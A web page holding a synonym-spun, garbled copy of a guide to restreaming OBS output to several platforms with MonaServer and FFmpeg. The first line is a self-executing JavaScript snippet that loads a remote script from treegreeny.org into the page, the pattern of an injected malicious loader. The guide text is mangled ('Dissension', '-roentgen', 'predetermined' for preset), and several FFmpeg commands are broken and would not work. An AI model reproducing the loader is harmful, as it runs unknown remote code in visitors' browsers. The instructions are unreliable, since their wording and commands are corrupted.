;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn");
UPD azing SoraYuki wrote its obs-multi-rtmp plugin, you really don’t require this guide any more, as the plug-in is easier to utilize. For example, a lot easier. But when you you would like FFmpeg strain, or you need certainly to returns within different physique rates, keep reading.
Before you can understand, take note that is just useful in the event that a third party provider eg cannot meet your requirements. And additionally, some of the more challenging setups may need a beneficial information away from demand-range FFmpeg. If you prefer assist for your specific settings, ping Nakajima Megumi#7432 about obsproject assistance Dissension.
The overall suggestion is really as comes after: host a RTMP servers on your computer, weight to that particular host, after that explore FFmpeg to reproduce this new stream in order to as numerous streaming systems as you need to, which have or instead reencoding.
Usually the one I recommend truly to own Windows are MonaServer, as it is relatively easy to set up – only extract and you may work with. Obtain it here: Extract it, then release MonaServer.exe in the demand line. Analogy order:
Feel free to forget about mistake texts maybe not strongly related to the newest RTMP server powered by port 1935. This may server an effective RTMP servers on your own Window Pc; by default, merely you should be capable load to it if you don’t give port 1935. Whenever you are playing with Linux, or you want to arranged an even more ability-rich host, you can utilize brand new guide regarding dodgepong, right here
In OBS Business, content your existing live-streaming character of the clicking Profiles > Copy. This can allow you to without difficulty undo all the change, if you need to.
Without having FFmpeg strung yet ,, to visit and you can install the fresh new 64-portion fixed build. Pull ffmpeg.exe, ffprobe.exe and you can ffplay.exe into exact same folder in which you have MonaServer.exe. Now, let’s find out if the newest load was live.
Since I am enjoying personal stream, We find a video clip views feeling. Don’t worry about the higher load slow down, most of they originated in ffplay’s buffering, RTMP should establish from the 800 ms from even more latency at worst, 100-200 ms an average of. End ffplay by the striking q in windows or Ctrl+C on the command line screen where you spawned it.
So now you you desire your stream keys plus the perfect complete street for every shown you want to run. Including, Twitch’s absorb servers inside France can be found at rtmp://live-fra.twitch.tv/app/ and you may Youtube’s number one consume servers is actually rtmp://an effective.rtmp.youtube/live2 . Meaning that your complete play highway to own broadcasting towards Twitch would be rtmp://live-fra.twitch .tv/app/my-stream-key, where my-stream-key can be your complete weight key. To see an entire a number of consume server OBS Facility reveals, realize .
Note that I will use range holiday breaks for more smoother reading-in analogy instructions; attempt to get them.
For this, you ought to release a different FFmpeg particularly for each services. It increases the overall RAM and you can Cpu impact a little. Case in point order to start online streaming to at least one platform: ffmpeg -i rtmp://localhost:1935/live/stream -c:v backup -c:a duplicate -f flv rtmp://live-fra.twitch.tv/app/my-stream-secret You could prevent the stream of the both closure new CMD/PowerShell screen, otherwise of the pressing Ctrl+C. FFmpeg will attempt to go out of cleanly, that is certainly slow; if you wish to push-quit FFmpeg, giving Ctrl+C four or even more moments will cause a force-quit.
So you can transmitted to help you several networks otherwise avenues at a time, we are able to use the “tee” method and you will independent enjoy routes into the | profile. Let us check it out very first from the remuxing the local load and you can re-streaming it to your individual server:
What if we wish to stream to Twitch during the 720p 60fps 6 mbps, and also to Youtube into the 1080p 60fps 20 mbps. There’s two ways to means this – often load in your neighborhood inside the high quality (target one hundred-230 mbps, or explore CQP) and you may would one or two reencodes, a bit improving the performance footprint, or weight in the some time speed sufficient for Youtube and reencode they for Twitch, hurting the standard of Twitch’s load.
When we possess a top-high quality local weight and want to create two x264 reencodes, keeping all of our 160kbps sounds for streams, we’d be specifying outputs one by one, in this way:
Mention incorporating -vf “scale=” – which adds a video filter so you can downscale the fresh load so you’re able to 720p having Twitch. I’m assuming the newest type in might be 1080p 60fps, which will be just what Youtube can get.
Otherwise, let’s say you are online streaming regarding OBS Business during the 20 mbps 1080p 60fps and would like to duplicate the brand new stream as-is always to Youtube, and you can reencode to help you 4 mbps 720p 30 frames per second for Twitch:
Mention incorporating -r 30 to decrease away from sixty fps so you’re able to 30 frames per second. In the event your type in is actually fps (6), you can shed in order to by using -roentgen 3 .
Mention on FFmpeg choice and you will predetermined possibilities: -predetermined veryfast chooses the newest x264 predetermined, “veryfast”. FFmpeg may also fool around with NVENC with -c:v h264_nvenc – in this case, I’d highly recommend playing with -predetermined sluggish (2-solution top quality) towards the cards but Turing cards; to your Turing notes I might strongly recommend -predetermined head office (single citation top quality). Keep in mind that due to NVIDIA’s deals constraints you could use only 2 concurrent NVENC coaching towards the GeForce notes; trying initiate a third one to usually put an enthusiastic “away from thoughts” mistake (even though you have enough spare VRAM). FFmpeg also can have fun with AMD AMF having -c:v h264_amf , excite make reference to it documents for using AMF: ffmpeg -hide_flag -h encoder=h264_amf
This one need an excellent knowledge of the fresh new demand range screen and FFmpeg. I am going to make an effort to explain they and offer advice, however, if that does not assist, you might still need dig through FFmpeg’s files.
Imagine if i bring a high quality type in, save it-should be to file, upcoming reencode in order to 2 mbps and you can publish so you can 2 properties: Take the stream ffmpeg -hide_banner -we rtmp://localhost:1935/live/weight Save in your community -c:v copy -c:a copy -f mp4 source.mp4 Reencode having a couple outputs -c:v libx264 -b:v 2000k -c:a duplicate -chart 0 -f tee “[f=flv]rtmp://live-fra.twitch.tv/app/my-stream-key|[f=flv]rtmp://live-fra.twitch.tv/app/my-second-stream-key”
If you’d like assist for the specific setup, or particular parts of the fresh new book try unsure, ping Nakajima Megumi#7432 on obsproject Dissension along with your questions.